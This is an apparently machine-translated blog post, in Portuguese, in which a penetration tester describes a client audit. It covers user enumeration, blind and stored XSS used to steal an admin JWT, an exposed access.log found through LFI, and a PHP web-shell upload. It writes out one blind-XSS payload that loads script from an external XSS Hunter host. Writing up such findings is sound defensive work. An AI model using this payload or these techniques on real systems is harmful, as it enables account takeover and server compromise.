No início do ano, um funcionário de uma empresa escreveu para mim. Pelo que entendi, houve um pequeno conflito na empresa. Por causa disso, havia o risco de comprometimento do sistema por parte de alguns funcionários. A decisão de auditar o sistema foi definitivamente a correta. Afinal, os resultados da inspeção me surpreenderam agradavelmente e "desagradavelmente" surpreendeu o cliente.
A arquitetura do sistema era, em princípio, padrão. Foi baseado em um serviço de autenticação. Além disso, de acordo com o token emitido pelo jwt, o usuário pode usar a funcionalidade do sistema em vários subdomínios.
O teste foi limitado a um subdomínio. Mas o mais básico de acordo com os clientes. Não vou contar em detalhes todos os erros e problemas. Eles foram descobertos muito. Descreverei apenas aqueles que me pareciam mais curiosos.
Redundância de informações ao procurar usuários
A consulta de pesquisa para usuários permitiu receber um conjunto de informações da seguinte natureza - ID do usuário, Nome, Login, avatar ...
Sem problemas, foi possível coletar todo o usuário do banco de dados Login_name. Também não havia restrições especiais na funcionalidade de login. Em seguida, foi possível selecionar uma senha em vários fluxos ou executar phishing pontual nos usuários mais importantes do sistema.
Cegar o XSS ao solicitar suporte ao usuário.
Tive a impressão de que esse problema está presente em 90% dos sistemas que encontro. Anteriormente, "idiotas" de plataformas para agregar análises repetiram-me várias vezes. Os acessos aos sistemas de monitoramento do comportamento do usuário na Internet também chegaram. Havia muitas coisas. No entanto, poucas pessoas entendem o quão perigoso isso pode ser. Especificamente, essa vulnerabilidade foi escrita
aqui .
Nesse caso, verifiquei se o ataque estava funcionando acidentalmente quando recebi uma notificação do
XSS Hunter . O vetor de ataque foi o seguinte:
"><script src=https://sa.xss.ht></script>
Mas o cliente não acreditava que eu pudesse controlar o painel de administração por meio desse vetor de ataque. Afinal, todas as informações valiosas são armazenadas no armazenamento local. Como o XSS Hunter não suporta o recebimento de informações de armazenamento local, tive que implantar meu próprio registrador XSS. A
publicação a seguir
foi muito útil. Como resultado do ataque repetido, foi possível verificar se o token jwt do administrador pode ser facilmente obtido por meios maliciosos, mesmo a partir do armazenamento local.
Bem, então com os direitos de administrador no sistema, você pode fazer qualquer coisa.
XSS armazenado em um email.
Uma funcionalidade foi descoberta no sistema que permite criar convites por email emoldurados para registrar novos usuários. Você pode inserir o nome da pessoa no formulário de carta. Para tornar o email mais pessoal. Como resultado, todo o conteúdo não foi escapado e caiu na carta. Para realizar um ataque xss bem-sucedido semelhante por meio de uma carta, é necessário conhecer o cliente de email da vítima e conhecer zero dia xss para esse cliente. Em geral, o sucesso desse ataque, por definição, foi insignificante. Até o momento em que encontrei um botão curioso no canto superior da carta.
Foi uma oportunidade para abrir uma versão web da carta. E aqui uma surpresa me esperava. Meu XSS funcionou. Ao mesmo tempo, a versão web da carta foi aberta no subdomínio admin. *. Com
Dupla surpresa, por assim dizer.
Arquivo disponível access.log
No processo de auditoria, encontrei um lugar interessante. Quando caracteres diferentes entraram na solicitação, o 404 chegou em resposta do servidor, mas periodicamente a resposta 404 foi um pouco diferente da anterior. Às vezes havia um cabeçalho extra. Às vezes não. Uma certa mutação nas respostas do sistema me levou a verificar a inclusão de arquivo local (
LFI ) neste local. Configurei o dicionário lfi e esperei que o sistema retornasse respostas para todos os meus pedidos. Como resultado, ao visualizar os resultados do teste, fiquei muito surpreso com a resposta com um status de 200 e um tamanho muito ponderado dos dados transmitidos.
Descobri que encontrei um arquivo legível access.log. Este arquivo registrou toda a atividade no servidor. Incluindo neste arquivo, foi possível detectar tokens de usuário jwt.
O tempo de expiração desses tokens foi bastante grande. E isso também não foi muito bom.
Acesso total do shell da web ao servidor
Em princípio, todos os itens acima são problemas comuns. Mas alguns tipos de vulnerabilidades já são difíceis de enfrentar. É sobre o acesso ao servidor através de um código bem carregado no arquivo shell.php. Após o qual todos os projetos localizados neste servidor são comprometidos.
Bo0oM escreveu sobre esta questão em 2016 em seu blog.
Mas voltando ao meu exemplo. O sistema tinha a capacidade de fazer publicações. Ao mesmo tempo, foi possível fazer upload de uma foto para publicação. A imagem foi salva no mesmo domínio. Mas o nome do arquivo foi alterado à força. Ou seja, você faz o upload - mypicture.jpg. Mas, como resultado, você recebe 12345.jpg. Decidi verificar o que aconteceria se eu transferisse o arquivo xml (na época eu aparentemente sonhava em conhecer o XXE). E para minha surpresa, recebi a resposta 123556.xml. E então eu percebi que há uma chance de 99% de sucesso com a extensão de arquivo php para o shell da web. Para este ataque, usei o
shell b374k . Com acesso direto ao arquivo - consegui o que queria. Acesso aos diretórios do servidor.
Mas isso não foi a coisa mais triste. O mais triste foi que, com essa vulnerabilidade, foi possível comprometer mais de 10 projetos que estavam no diretório raiz deste servidor.
Meu amigo
cyberpunkyc disse que isso poderia ser visto no ano de 2007-2010. Infelizmente, no quintal de 2019. Um problema semelhante existe até hoje.
Como resultado dos testes, o cliente ficou muito surpreso com os resultados. E fiquei muito feliz por ter sido muito útil nos testes. Se você tiver alguma sugestão com projetos interessantes - sinta-se à vontade para me escrever em
telegrama ;)